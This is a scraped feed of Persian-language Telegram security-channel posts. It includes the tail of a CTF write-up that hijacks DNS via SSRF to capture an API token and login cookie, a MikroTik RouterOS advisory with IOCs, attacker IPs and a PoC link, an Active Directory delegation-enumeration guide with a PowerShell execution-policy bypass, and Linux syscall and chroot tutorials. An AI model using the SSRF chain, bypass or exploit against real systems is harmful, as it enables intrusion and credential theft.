S').click(function() {
var server = $('input[name="dns_server"]').val();
$.get('/set/dns?server=' + server, function(resp) {
alert(resp);
});
});توی این بخش اگه بتونیم SET/DNS کنترل کنیم میشه گفت عملا میتونیم به ترافیک دسترسی داشته باشیم پس توی این بخش با استفاده از این کد یه dns server راه انداختیم https://gist.githubusercontent.com/pklaus/b5a7876d4d2cf7271873/raw/cb089513b185f4128d956eef6e0fb9f5fd583e41/ddnsserver.py
و روی پورت 443 با netcat روی لیستن میزاریم : ncat -lv 443 و توی بخش بعدی این درخواستو ارسال میکنیم:
POST /connection-test HTTP/1.1
Host: 178.62.61.49
...
node=192.168.1.1/set/dns?server=173.230.148.69#
در نتیجه درخواست به سرور ما میومد ولی چون ssl بود و ما گواهیشو نداشتیم یه مشت چرندیاتو میدیدیم و با رفتن به بخش اول که شروع کردیم و یه مقدار گشتن به اینurl میرسیم https://www.googletagmaneger.com/event?include=asdf که یه خطای xdebug به ما نشون داد و خطا نشون دهده LFI بود ولی کاراکتر های @ , / توی بلک لیست بودن و با استفاده از آیپی خود سایت با یه مقدار fuzz به این بخش رسیدیم http://142.93.46.249/datacollection/ssl/ و الان ssl داشتیم و کدی که اون بالا بود اجرا کردیم :
python3 dns.py --port 53 –udp
و بعد این دستورو به netcat اضافه کردیم:
ncat -lv 443 --ssl-cert=/home/CTF/certs/fullchain.pem --ssl-key=/home/CTF/certs/privkey.pem
و بعد همون درخواستو تکرار کردیم و تماممم SSRF و ترافیکو گرفتیم و کارو جمع کرد
GET /api/poll HTTP/1.1
Host: www.googletagmaneger.com
User-Agent: curl/7.58.0
Accept: */*
X-Token: 779549E7865D034D9A9DB34401DA2157
بعد هم با یه مقدار fuzz به بخش /api/cookie رسیدیم و با ارسال درخواست به این بخش تونستیم کوکی معتبر رو دریافت کنیم:
HTTP/1.1 200 OK
...
{"description":"Login Cookie","data":"NzQ1NWYxYmJkYzczM2YwYTkzMzg2MjE5MmIxNTFhN2VlNGI0NmQyM2EwYjNlMzBiMzc3NGE2NTVhYzE5MzBiMDE1MWY2NGQ5MzE1ZjJhZmEzY2VlYTcyZDFlNjNmMjQ3YTZhNTQzM2U1ODBjOWIzZGJhYWQyMmNiZTcxYzU5NTA="}
و در نهایت این کوکی برای سایت اول ست میکنیم و flag به دست میاریم.
https://buer.haus/2020/06/14/nahamcon-trash-the-cache-write-up-web-1000/
❤10👏1
https://t.me/S3cForge
کانال شخصیه داش امینه تازه زده
هر پستی اونجا گذاشته میشه اینجاهم میزاره
حمایت کنید
کانال شخصیه داش امینه تازه زده
هر پستی اونجا گذاشته میشه اینجاهم میزاره
حمایت کنید
❤8
خب سلام چطورین؟
امروز میخوایم ببینیم FD چی هستش و اصلا syscall ها چطور کار میکنن؟؟
یک File Descriptor یا FD تو کرنل لینوکس یک عدد صحیح غیر منقی هستش که به عنوان یک شناسه برای یک Open Resource در یک فرآیند عمل میکنه و یه جمله که همیشه درباره لینوکس میگن اینه که همه چیز یک فایل است پس FD میتونه به انواع مختلفی از منابع اشاره کنه: یک فایل معمولی روی دیسک، یک دایرکتوری، یک پایانه ترمینال، یک سوکت شبکه، یک pipe یا حتی یک دستگاه سختافزاری.
توی کرنل هر پراسس یک file descriptor table داره که مثل یه آرایه عمل میکنه و این جدول هر عدد صحیح به ساختار داخلی به نام struct file تبدیل میکنه . struct file حاوی تموم اطلاعات مورد نیاز کرنل برای مدیریت اون ریسورس هستش که برای read , write , open استفاده میشه . یکم بخوایم دیپ بشیم زمانی این FD میاد رو کار که این (path)OPEN اگه این بخش false باشه خب exit میشه ولی در غیر این صورت اگه درست باشه میاد و یه عدد میگیره که 3 تاشون خیلی معروفن و رزرو شده هستن => 0 و 1و2 => STDIN , STDOUT , STDERR که توی کد پایین نمونش رو داریم میبینیم:
اینجا ما یه syscall داریم که ()open هستش . بخش بعدی مربوط به O_RDONLY هستش که یعنی فقط دسترسیمون درحد خوندن باشه و O_CREAT هست که اگه فایل مورد نظر موجود نبود ساخته بشه.0644 هم منظورش دسترسی سازنده فایل هستش که فقط مالک دسترسی read , write داره و بقیه فقط Readonly هستش.
تا اینجا حدودی با FD , دلیل وجود و کاربردش و ... اشنا شدیم و الان بریم سر وقت syscall.
در واقع syscall یه مترجم یا بخوام خیلی بخوام مرامی بگم API بین user space , kernel space هستش . userspace بخوام بگم یه محیطی هستش که حالا وب سرور ها و ادیتورها و ... توی اون بخش اجرا میشن و یه بخش محدود هستش و دسترسی کامل به فضای آدرس دهی نداریم و دسترسیمون به سخت افزار خیلی محدوده. kernel space میشه گفت همه چیز زیر دستشه و میتونه کنترلشون کنه مثل حافظه و سخت افزار و ... و ارتباط مستقیم با cpu , ram داره و دسترسی نا محدود به منابع کل سیستم داره.
برنامه هایی که توی userspace هستن برای برای انجام کارشون نیاز به kernlspace دارن که syscall میاد وسط مثل fork , kill , ioctl , getpid , ...
خب اصلا ساختار syscall چطوریه و چی هستش؟
ببین ادرس دهی توی x86-x64 لینوکس برای انجام یه syscall از دستور syscall استفاده میشه و قبل از اجرای این دستور رجیستر ها به ترتیب زیر ادرس دهی میشن :
RAX => شماره syscall(میتونین با دستور ausyscall شماره syscall ها و عدد هاشونو ببینید.)
بقیه رجیستر ها rdi , rsi , rdx , r10 , r8 , r9 متغیر هارو میگیرن و تمام. اگه خطایی رخ بده rax منفی میشه (مثلاً -1) و errno توی یه جای دیگه ذخیره میشه.
اینجا میخوایم یه hello world رو write کنیم با ساختار خودش تا کامل این بخش هم درک کنیم:
خب توی این بخش RAX برابر 1 شده که منظورش syscall write هستش rdi هم 1 هست که منظورش STDOUT هست بخش rsi برابر hello world و بخش rdx هم برابر len هست و این کد میتونین با دستور:
اجراش کنین.
امیدوارم لذت برده باشین.
➖➖➖➖
CHANNEL
امروز میخوایم ببینیم FD چی هستش و اصلا syscall ها چطور کار میکنن؟؟
یک File Descriptor یا FD تو کرنل لینوکس یک عدد صحیح غیر منقی هستش که به عنوان یک شناسه برای یک Open Resource در یک فرآیند عمل میکنه و یه جمله که همیشه درباره لینوکس میگن اینه که همه چیز یک فایل است پس FD میتونه به انواع مختلفی از منابع اشاره کنه: یک فایل معمولی روی دیسک، یک دایرکتوری، یک پایانه ترمینال، یک سوکت شبکه، یک pipe یا حتی یک دستگاه سختافزاری.
توی کرنل هر پراسس یک file descriptor table داره که مثل یه آرایه عمل میکنه و این جدول هر عدد صحیح به ساختار داخلی به نام struct file تبدیل میکنه . struct file حاوی تموم اطلاعات مورد نیاز کرنل برای مدیریت اون ریسورس هستش که برای read , write , open استفاده میشه . یکم بخوایم دیپ بشیم زمانی این FD میاد رو کار که این (path)OPEN اگه این بخش false باشه خب exit میشه ولی در غیر این صورت اگه درست باشه میاد و یه عدد میگیره که 3 تاشون خیلی معروفن و رزرو شده هستن => 0 و 1و2 => STDIN , STDOUT , STDERR که توی کد پایین نمونش رو داریم میبینیم:
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
int main() {
int fd = open("test.txt", O_RDONLY | O_CREAT, 0644);
if (fd == -1) {
printf("err: %s\n", strerror(errno));
return 1;
}
printf("success! FD: %d\n", fd);
close(fd);
printf("closed.\n");
return 0;
}
اینجا ما یه syscall داریم که ()open هستش . بخش بعدی مربوط به O_RDONLY هستش که یعنی فقط دسترسیمون درحد خوندن باشه و O_CREAT هست که اگه فایل مورد نظر موجود نبود ساخته بشه.0644 هم منظورش دسترسی سازنده فایل هستش که فقط مالک دسترسی read , write داره و بقیه فقط Readonly هستش.
تا اینجا حدودی با FD , دلیل وجود و کاربردش و ... اشنا شدیم و الان بریم سر وقت syscall.
در واقع syscall یه مترجم یا بخوام خیلی بخوام مرامی بگم API بین user space , kernel space هستش . userspace بخوام بگم یه محیطی هستش که حالا وب سرور ها و ادیتورها و ... توی اون بخش اجرا میشن و یه بخش محدود هستش و دسترسی کامل به فضای آدرس دهی نداریم و دسترسیمون به سخت افزار خیلی محدوده. kernel space میشه گفت همه چیز زیر دستشه و میتونه کنترلشون کنه مثل حافظه و سخت افزار و ... و ارتباط مستقیم با cpu , ram داره و دسترسی نا محدود به منابع کل سیستم داره.
برنامه هایی که توی userspace هستن برای برای انجام کارشون نیاز به kernlspace دارن که syscall میاد وسط مثل fork , kill , ioctl , getpid , ...
خب اصلا ساختار syscall چطوریه و چی هستش؟
ببین ادرس دهی توی x86-x64 لینوکس برای انجام یه syscall از دستور syscall استفاده میشه و قبل از اجرای این دستور رجیستر ها به ترتیب زیر ادرس دهی میشن :
RAX => شماره syscall(میتونین با دستور ausyscall شماره syscall ها و عدد هاشونو ببینید.)
بقیه رجیستر ها rdi , rsi , rdx , r10 , r8 , r9 متغیر هارو میگیرن و تمام. اگه خطایی رخ بده rax منفی میشه (مثلاً -1) و errno توی یه جای دیگه ذخیره میشه.
اینجا میخوایم یه hello world رو write کنیم با ساختار خودش تا کامل این بخش هم درک کنیم:
section .data
msg db 'Hello, World!', 0x0A
len equ $ - msg
section .text
global _start
_start:
; Syscall write
mov rax, 1
mov rdi, 1
mov rsi, msg
mov rdx, len
syscall
mov rax, 60
mov rdi, 0
syscall
خب توی این بخش RAX برابر 1 شده که منظورش syscall write هستش rdi هم 1 هست که منظورش STDOUT هست بخش rsi برابر hello world و بخش rdx هم برابر len هست و این کد میتونین با دستور:
nasm -f elf64 hello.asm -o hello.o
ld hello.o -o hello
./hello
اجراش کنین.
امیدوارم لذت برده باشین.
➖➖➖➖
CHANNEL
Telegram
NSEs
Where Network meets Red Team 🎯
If you're into PenTesting, Hacking, and Cyber Shenanigans — you're home!
🧠 Learn • 🚀 Hack • 🧩 Quiz • 📚 Books • 😁 Memes
If you're into PenTesting, Hacking, and Cyber Shenanigans — you're home!
🧠 Learn • 🚀 Hack • 🧩 Quiz • 📚 Books • 😁 Memes
❤8
سالم دوستان امیدوارم حالتون خوب باشه ، تو این پست قراره به یکی
از تکنیک های حملات سمت کلاینت بپردازیم.
تو این سناریو قراره یکی از قابلیت های قدیمی ویندوز(WebDAV) استفاده کنیم با
چند تا چیز کوچیک ترکیبش کنیم تا بتونیم از کاربر دسترسی بگیریم
امیدوارم که از این پست لذت ببرید .
#Red_Team #Pentest #Network #WebDAV
➖➖➖➖➖
CHANNEL
از تکنیک های حملات سمت کلاینت بپردازیم.
تو این سناریو قراره یکی از قابلیت های قدیمی ویندوز(WebDAV) استفاده کنیم با
چند تا چیز کوچیک ترکیبش کنیم تا بتونیم از کاربر دسترسی بگیریم
امیدوارم که از این پست لذت ببرید .
#Red_Team #Pentest #Network #WebDAV
➖➖➖➖➖
CHANNEL
🔥8❤1
Deleted Account
سالم دوستان امیدوارم حالتون خوب باشه ، تو این پست قراره به یکی از تکنیک های حملات سمت کلاینت بپردازیم. تو این سناریو قراره یکی از قابلیت های قدیمی ویندوز(WebDAV) استفاده کنیم با چند تا چیز کوچیک ترکیبش کنیم تا بتونیم از کاربر دسترسی بگیریم امیدوارم که از…
From_Windows_Library_to_Reverse_Shell_A_WebDAV_Attack_Scenario.pdf
3.9 MB
❤9
Deleted Account
Photo
❗️تیم CERT Polska شش اسیب پذیری روی میکروتیک پیدا کرده با دوتا از این اسیب پذیری ها بدون احراز هویت فقط با داشتن دسترسی به پورت SSH کنترل کامل تجهیزات Mikrotik RouterOS رو به دست گرفت و سطح دسترسی خودمون رو به Full admin برسونیم،ادمین ها و مهندس های شبکه به شدت جدی بگیرنش چون به شدت در حال بهره برداری هستش .(CVE-2026-67276 / CVE-2026-86060)
اقدامات فوری هم برای ایمن سازی :
1-به روز رسانی سریع به یکی از نسخه ها امن شده (
2-دسترسی به سرویس های SSH، WebFig (WWW) و Bandwidth-test تا زمانی که به روزرسانی بکنید از سمت اینترنت مسدود کنید
3-IOCs لاگ هارو برسی کنید دنبال خطاهای مشکوک باشید
login failure for user -2 from <IP> via ssh
user <name> added by ssh:-2@<IP>
بررسی وضعیت Flagged: اجرای دستور
ایپی مهاجم هایی که تا الان دیتکت شده :
82.192.72.4
103.102.31.18
POC :https://github.com/dinosn/mikrotrick-poc
فعلا برسی نکردم که ایا فقط یه اسیب پذیری هستش یا Chain شده تا دسترسی full admin بگیره
Sources
https://cert.pl/en/posts/2026/09/vulnerabilities-in-mikrotik-routeros-actively-exploited/
https://cybersecuritynews.com/mikrotik-routeros-vulnerability/
https://thehackernews.com/2026/09/attackers-hijack-mikrotik-routers.html
https://github.com/dinosn/mikrotrick-poc
➖➖➖➖➖
CHANNEL
اقدامات فوری هم برای ایمن سازی :
1-به روز رسانی سریع به یکی از نسخه ها امن شده (
7.25beta3 | 7.24.2 | 7.23.4 | 6.49.21)2-دسترسی به سرویس های SSH، WebFig (WWW) و Bandwidth-test تا زمانی که به روزرسانی بکنید از سمت اینترنت مسدود کنید
3-IOCs لاگ هارو برسی کنید دنبال خطاهای مشکوک باشید
login failure for user -2 from <IP> via ssh
user <name> added by ssh:-2@<IP>
بررسی وضعیت Flagged: اجرای دستور
/system/device-mode/print در ترمینال؛ مشاهده مارکر Flagged نشاندهنده نفوذ قبلی و تغییر کانفیگ توسط سیستمعامل است. (توجه: عدم وجود این مارکر به معنی امن بودن مطلق نیست!)ایپی مهاجم هایی که تا الان دیتکت شده :
82.192.72.4
103.102.31.18
POC :https://github.com/dinosn/mikrotrick-poc
فعلا برسی نکردم که ایا فقط یه اسیب پذیری هستش یا Chain شده تا دسترسی full admin بگیره
Sources
https://cert.pl/en/posts/2026/09/vulnerabilities-in-mikrotik-routeros-actively-exploited/
https://cybersecuritynews.com/mikrotik-routeros-vulnerability/
https://thehackernews.com/2026/09/attackers-hijack-mikrotik-routers.html
https://github.com/dinosn/mikrotrick-poc
➖➖➖➖➖
CHANNEL
GitHub
GitHub - dinosn/mikrotrick-poc: CVE-2026-67276 RouterOS SSH public-key authentication bypass lab PoC
CVE-2026-67276 RouterOS SSH public-key authentication bypass lab PoC - dinosn/mikrotrick-poc
🔥9
سلام دوستان امیدوارم که حالتون خوب باشه .
تو این پست قراره بریم سراغ یه ابزاری که هم برای افنس کار ها هم دفنس کار ها مفیده ،اسم ابزار یا بهتره بگم اسکریپتی که ما باهاش سرکار دارم ADeleginator هستش که توسط https://x.com/techspence نوشته شده کارش پیدا کردن Trustee Delegationها و Resource Delegation ناامن تو AD هستش اما نکته اینجاست که ADeleginator یک Wrapper برای یه ابزار دیگه به اسم ADeleg هستش که جفتشون در کنار هم کار میکنن در واقع ADeleg کارش جمع اوری اطلاعات Delegation و Permissionهای Active Directory هستش و اسکریپت ADeleginator خروجی رو تحلیل میکنه و موارد خطرناک/مشکوک یا به عبارت دیگه میس کانفیگ هارو برای ما فیلتر میکنه که حالا ما بسته به کارمون ازش بخوایم تو حمله مون استفاده کنیم یا برای امن کردن شبکمون .
https://github.com/mtth-bfft/adeleg/releases ——->ADeleg
https://github.com/techspence/ADeleginator ———>ADeleginator
جفتشون رو دانلود میکنید و تو یه پوشه قرار بدید از ریپازتوری ADeleginator نیاز نیستش کل ریپو رو clone کنید فقط فایل پاورشل رو بردارید کافیه استفادش هم خیلی راحته هم داخل هم داخل ریپو مشخص شده توضیح داده که چطور میتونید استفاده کنید یبار هم من اینجا براتون استپ به استپ مینویسم چیکار کنید .
1- پاورشل رو تو پوشه ای که هم ADeleginator و ADeleg رو دانلود کردید بازش کنید یا به مسیرش برید .
2- پالیسی ران کردن اسکریپت های پاورشلی رو غیر فعال کنید
3-با استفاده از دستور زیر آن را Dot Source کنید
4- ران کنیدش
Example:Invoke-ADeleginator -Server dc01.acme.com
این کلیات استفاده از ابزار بودش اما یه نکته ای رو باید اضافه کنم این ابزار ADeleginator یه مشکلی که داره حتما باید روی ماشین قربانی که داخل دامین عضو هستش نصب و اجرا بشه و خب این میتونه تو حملات کار مارو سخت تر کنه یا حتی مشکلاتی به وجود بیاره ،برای همین من با کمک Ai سورس ADeleginator رو تغییرش دادم که شما بتونید روی ماشین اتکر با دادن کردنشیال یوزر اکانتی که تو دامین ازش دسترسی دارید با دامین ارتباط برقرار کنید و ابزار رو از روی سیستم خودتون ران کنید و Enum تون رو با موفقیت انجام بدید سورسی که تغییرش دادم رو براتون میزارم اینجا اگه خواستید از رو سیستمی که عضو دامین نیستش اجرا بگیرید به مشکل نخورید
تو نسخه اصلی شما فقط سرور رو مشخص میکردید -server ولی تو نسخه ای که من تغییرش دادم باید به این صورت ازش استفاده کنید:
که دوتا خروجی بهتون میده یکی برای ابزار ADeleg هستش (ADelegReportxxxx) اونی که برای ابزار ADeleginator هستش فرمتش به این صورته (ADeleg_InsecureTrusteeDelegationReportXXXXX)
نسخه اپدیت شده توسط ما ——->https://t.me/NetSecZ/1005
امیدوارم به دردتون بخوره .
➖➖➖➖➖
CHANNEL
تو این پست قراره بریم سراغ یه ابزاری که هم برای افنس کار ها هم دفنس کار ها مفیده ،اسم ابزار یا بهتره بگم اسکریپتی که ما باهاش سرکار دارم ADeleginator هستش که توسط https://x.com/techspence نوشته شده کارش پیدا کردن Trustee Delegationها و Resource Delegation ناامن تو AD هستش اما نکته اینجاست که ADeleginator یک Wrapper برای یه ابزار دیگه به اسم ADeleg هستش که جفتشون در کنار هم کار میکنن در واقع ADeleg کارش جمع اوری اطلاعات Delegation و Permissionهای Active Directory هستش و اسکریپت ADeleginator خروجی رو تحلیل میکنه و موارد خطرناک/مشکوک یا به عبارت دیگه میس کانفیگ هارو برای ما فیلتر میکنه که حالا ما بسته به کارمون ازش بخوایم تو حمله مون استفاده کنیم یا برای امن کردن شبکمون .
https://github.com/mtth-bfft/adeleg/releases ——->ADeleg
https://github.com/techspence/ADeleginator ———>ADeleginator
جفتشون رو دانلود میکنید و تو یه پوشه قرار بدید از ریپازتوری ADeleginator نیاز نیستش کل ریپو رو clone کنید فقط فایل پاورشل رو بردارید کافیه استفادش هم خیلی راحته هم داخل هم داخل ریپو مشخص شده توضیح داده که چطور میتونید استفاده کنید یبار هم من اینجا براتون استپ به استپ مینویسم چیکار کنید .
1- پاورشل رو تو پوشه ای که هم ADeleginator و ADeleg رو دانلود کردید بازش کنید یا به مسیرش برید .
2- پالیسی ران کردن اسکریپت های پاورشلی رو غیر فعال کنید
set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
3-با استفاده از دستور زیر آن را Dot Source کنید
. .\Invoke-ADeleginator.ps1
4- ران کنیدش
Invoke-ADeleginator
Example:Invoke-ADeleginator -Server dc01.acme.com
این کلیات استفاده از ابزار بودش اما یه نکته ای رو باید اضافه کنم این ابزار ADeleginator یه مشکلی که داره حتما باید روی ماشین قربانی که داخل دامین عضو هستش نصب و اجرا بشه و خب این میتونه تو حملات کار مارو سخت تر کنه یا حتی مشکلاتی به وجود بیاره ،برای همین من با کمک Ai سورس ADeleginator رو تغییرش دادم که شما بتونید روی ماشین اتکر با دادن کردنشیال یوزر اکانتی که تو دامین ازش دسترسی دارید با دامین ارتباط برقرار کنید و ابزار رو از روی سیستم خودتون ران کنید و Enum تون رو با موفقیت انجام بدید سورسی که تغییرش دادم رو براتون میزارم اینجا اگه خواستید از رو سیستمی که عضو دامین نیستش اجرا بگیرید به مشکل نخورید
تو نسخه اصلی شما فقط سرور رو مشخص میکردید -server ولی تو نسخه ای که من تغییرش دادم باید به این صورت ازش استفاده کنید:
Invoke-ADeleginator -Server "" -Domain "" -User "" -Password ""
Example: Invoke-ADeleginator -Server "192.168.239.8" -Domain "target.local" -User "administrator" -Password "Netsecz#SX1"
که دوتا خروجی بهتون میده یکی برای ابزار ADeleg هستش (ADelegReportxxxx) اونی که برای ابزار ADeleginator هستش فرمتش به این صورته (ADeleg_InsecureTrusteeDelegationReportXXXXX)
نسخه اپدیت شده توسط ما ——->https://t.me/NetSecZ/1005
امیدوارم به دردتون بخوره .
➖➖➖➖➖
CHANNEL
X (formerly Twitter)
spencer (@techspence) on X
🛠️ Former Sysadmin, now Pentester | Microsoft MVP | Helping IT teams make their environment harder to attack | @SecurIT360 & @CyberThreatPOV
❤7🔥1
NSEs
سلام دوستان امیدوارم حالتون خوب باشه همینجور که معلومه فعالیتمون رو از سر گرفتیم و میخواستم در مورد یه برنامه ای صحبت کنم NSEs قبلا یه گروه هم داشتش که اخر پستامون لینکش رو میزاشتیم ،گپمون نزدیک ۵۰۰ تا ممبر داشتش مثل خیلی گپ های دیگه امنیت صحبت هایی که هیچ…
با عرض تأسف باید بگم که این پلن شکست خوردش و نتونستیم دیگه ادامش بدیم.
واقعیتش کامیونیتی فارسی امنیت فعلا پتانسیل این رو نداشتش که همچین برنامه ای پیاده سازی بشه همه در کنار هم یه چیزی یاد بگیریم ،تو شروع در هفته ما دوبار پست میزاشتیم به جنگ و قطعی برخوردیم قطعش کردیم فاصله افتاد بعدش کردیم یبار در هفته ولی رفته رفته تعداد کسایی که به صورت اصولی پست میزاشتن سروقت کمتر شد و دوستان همکاری نداشتن در نتیجه رسیدیم به دوتا ممبر که مطمعن بشیم عملی نمیشه ،شاید در سال های اینده جور دیگه ای باز بریم سراغش ولی الان بهمون ثابت شدش که فعلا شدنی نیس
به درخواست از دوستان بخاطر منابعی که تو گروه هستش گپ رو پابلیک میکنیم که همه بتونن ازش استفاده بکنن
https://t.me/+1pHCh5bs1AwzOWI8
واقعیتش کامیونیتی فارسی امنیت فعلا پتانسیل این رو نداشتش که همچین برنامه ای پیاده سازی بشه همه در کنار هم یه چیزی یاد بگیریم ،تو شروع در هفته ما دوبار پست میزاشتیم به جنگ و قطعی برخوردیم قطعش کردیم فاصله افتاد بعدش کردیم یبار در هفته ولی رفته رفته تعداد کسایی که به صورت اصولی پست میزاشتن سروقت کمتر شد و دوستان همکاری نداشتن در نتیجه رسیدیم به دوتا ممبر که مطمعن بشیم عملی نمیشه ،شاید در سال های اینده جور دیگه ای باز بریم سراغش ولی الان بهمون ثابت شدش که فعلا شدنی نیس
به درخواست از دوستان بخاطر منابعی که تو گروه هستش گپ رو پابلیک میکنیم که همه بتونن ازش استفاده بکنن
https://t.me/+1pHCh5bs1AwzOWI8
💔10❤3😁2
Forwarded from # | Just My Logs
توی این پست میخوایم با یکی از مفاهیم قدیمی ولی مهم در لینوکس آشنا بشیم:
Chroot Jail
کلمهی chroot مخفف عبارت زیر است:
در لینوکس، هر پردازش یک مسیر ریشه (Root Directory) دارد که معمولاً با
این مسیر تعیین میکند یک برنامه از کجا شروع به دیدن فایلها و دایرکتوریهای سیستم کند.
در حالت عادی، یک پردازش میتواند ساختار اصلی سیستم را ببیند:
اما با استفاده از Chroot میتوان Root یک پردازش را تغییر داد.
مثلاً:
بعد از اجرای برنامه داخل این محیط، مسیر
یعنی برنامه فکر میکند در یک سیستم جدا اجرا میشود، در حالی که همچنان روی همان سیستم اصلی قرار دارد.
چرا به آن Jail میگویند؟
Jail یعنی «زندان».
چون یک کاربر یا سرویس داخل یک محدوده مشخص قرار میگیرد و فقط همان محیط را مشاهده میکند.
مثلاً یک کاربر FTP:
بدون Chroot:
با Chroot:
در این حالت کاربر دیگر به مسیرهایی مثل:
سیستم اصلی دسترسی ندارد.
اجرای Chroot
ساختار کلی دستور:
مثلاً:
با این دستور، محیط Bash داخل Jail اجرا میشود و فقط فایلهای موجود در همان محیط را مشاهده میکند.
کاربردهای Chroot Jail
1) محدود کردن سرویسها
یکی از رایجترین استفادههای Chroot، محدود کردن سرویسهایی مثل FTP است تا در صورت وجود مشکل، دسترسی آنها به کل سیستم محدود شود.
2) تعمیر سیستم لینوکس
یکی از کاربردهای حرفهای Chroot، تعمیر سیستمهایی است که دیگر بوت نمیشوند.
با استفاده از Live Linux:
بعد میتوان کارهایی مثل:
را انجام داد.
3) ساخت محیط تست
با Chroot میتوان یک محیط لینوکسی آزمایشی ساخت، بدون اینکه سیستم اصلی تغییر کند.
مثلاً:
نکته امنیتی مهم
Chroot یک Sandbox کامل نیست.
Chroot فقط دید پردازش نسبت به فایلسیستم را تغییر میدهد.
اما:
❌ Kernel جدا ایجاد نمیکند
❌ Processها را کاملاً جدا نمیکند
❌ منابع سیستم را محدود نمیکند
به همین دلیل نباید آن را با Container یا Virtual Machine اشتباه گرفت.
Escape از Chroot
یکی از موضوعات مهم امنیتی، بررسی امکان خروج از محیط Chroot است.
دلیل اصلی این است که Chroot همچنان از همان Kernel سیستم اصلی استفاده میکند:
همچنین مدیریت Deviceها در مسیر:
بسیار مهم است.
چون قرار دادن Deviceهای حساس مثل:
میتواند امنیت محیط را کاهش دهد.
@JustMyLogss
Chroot Jail
کلمهی chroot مخفف عبارت زیر است:
Change Root
در لینوکس، هر پردازش یک مسیر ریشه (Root Directory) دارد که معمولاً با
/ مشخص میشود.این مسیر تعیین میکند یک برنامه از کجا شروع به دیدن فایلها و دایرکتوریهای سیستم کند.
در حالت عادی، یک پردازش میتواند ساختار اصلی سیستم را ببیند:
/
├── bin
├── etc
├── home
├── usr
├── var
└── root
اما با استفاده از Chroot میتوان Root یک پردازش را تغییر داد.
مثلاً:
/var/jail
├── bin
├── etc
├── lib
└── home
بعد از اجرای برنامه داخل این محیط، مسیر
/var/jail برای آن برنامه تبدیل به / میشود.یعنی برنامه فکر میکند در یک سیستم جدا اجرا میشود، در حالی که همچنان روی همان سیستم اصلی قرار دارد.
چرا به آن Jail میگویند؟
Jail یعنی «زندان».
چون یک کاربر یا سرویس داخل یک محدوده مشخص قرار میگیرد و فقط همان محیط را مشاهده میکند.
مثلاً یک کاربر FTP:
بدون Chroot:
FTP User
|
+-- کل فایل سیستم
با Chroot:
FTP User
|
+-- /home/user
|
+-- فایلهای خودش
در این حالت کاربر دیگر به مسیرهایی مثل:
/etc
/usr
/root
سیستم اصلی دسترسی ندارد.
اجرای Chroot
ساختار کلی دستور:
chroot /path/to/new/root command
مثلاً:
sudo chroot /var/jail /bin/bash
با این دستور، محیط Bash داخل Jail اجرا میشود و فقط فایلهای موجود در همان محیط را مشاهده میکند.
کاربردهای Chroot Jail
1) محدود کردن سرویسها
یکی از رایجترین استفادههای Chroot، محدود کردن سرویسهایی مثل FTP است تا در صورت وجود مشکل، دسترسی آنها به کل سیستم محدود شود.
2) تعمیر سیستم لینوکس
یکی از کاربردهای حرفهای Chroot، تعمیر سیستمهایی است که دیگر بوت نمیشوند.
با استفاده از Live Linux:
mount /dev/sda2 /mnt
chroot /mnt
بعد میتوان کارهایی مثل:
update-grub
passwd
apt update
را انجام داد.
3) ساخت محیط تست
با Chroot میتوان یک محیط لینوکسی آزمایشی ساخت، بدون اینکه سیستم اصلی تغییر کند.
مثلاً:
Ubuntu Host
|
+---- Debian Chroot
نکته امنیتی مهم
Chroot یک Sandbox کامل نیست.
Chroot فقط دید پردازش نسبت به فایلسیستم را تغییر میدهد.
اما:
❌ Kernel جدا ایجاد نمیکند
❌ Processها را کاملاً جدا نمیکند
❌ منابع سیستم را محدود نمیکند
به همین دلیل نباید آن را با Container یا Virtual Machine اشتباه گرفت.
Escape از Chroot
یکی از موضوعات مهم امنیتی، بررسی امکان خروج از محیط Chroot است.
دلیل اصلی این است که Chroot همچنان از همان Kernel سیستم اصلی استفاده میکند:
Host Kernel
|
+-- Normal Process
|
+-- Chroot Process
همچنین مدیریت Deviceها در مسیر:
/dev
بسیار مهم است.
چون قرار دادن Deviceهای حساس مثل:
/dev/mem
/dev/sda
میتواند امنیت محیط را کاهش دهد.
@JustMyLogss
❤8👍1🔥1
Forwarded from # | Just My Logs
Deleted Account
توی این پست میخوایم با یکی از مفاهیم قدیمی ولی مهم در لینوکس آشنا بشیم: Chroot Jail کلمهی chroot مخفف عبارت زیر است: Change Root در لینوکس، هر پردازش یک مسیر ریشه (Root Directory) دارد که معمولاً با / مشخص میشود. این مسیر تعیین میکند یک برنامه از کجا شروع…
In Chroot Jail in Linux.pdf
478.8 KB
Eng version
@JustMyLogss
@JustMyLogss
👏9